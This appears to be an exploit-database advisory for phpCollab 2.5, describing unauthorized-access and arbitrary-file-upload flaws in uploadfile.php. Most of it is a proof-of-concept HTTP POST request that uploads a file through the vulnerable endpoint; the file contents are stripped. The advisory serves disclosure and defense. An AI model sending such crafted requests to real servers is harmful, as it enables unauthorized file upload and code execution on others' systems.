PHPCollab 2.5 - 'uploadfile.php' Crafted Request Arbitrary Non-PHP File Upload

source: https://www.securityfocus.com/bid/53675/info

phpCollab is prone to an unauthorized-access and an arbitrary-file-upload vulnerabilities.

Attackers can leverage these issues to gain unauthorized access to application data and to upload and execute arbitrary code in the context of the application.

phpCollab 2.5 is vulnerable; other versions may also be affected. 

POST
/phpcollab/projects_site/uploadfile.php?PHPSESSID=f2bb0a2008d0791d1ac45a8a3
8e51ed2&action=add&project=&task= HTTP/1.1
Host: 192.0.0.2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:9.0.1)
Gecko/20100101 Firefox/9.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
DNT: 1
Proxy-Connection: keep-alive
Cookie: PHPSESSID=6cvltmkam146ncp3hfbucumfk6
Referer: http://192.0.0.2/
Content-Type: multipart/form-data;
boundary=---------------------------19548990971636807826563613512
Content-Length: 29914

-----------------------------19548990971636807826563613512
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000000
-----------------------------19548990971636807826563613512
Content-Disposition: form-data; name="maxCustom"


-----------------------------19548990971636807826563613512
Content-Disposition: form-data; name="commentsField"

Hello there
-----------------------------19548990971636807826563613512
Content-Disposition: form-data; name="upload"; filename="filename.jpg"
Content-Type: image/jpeg
file data stripped
-----------------------------19548990971636807826563613512
Content-Disposition: form-data; name="submit"

Save
-----------------------------19548990971636807826563613512--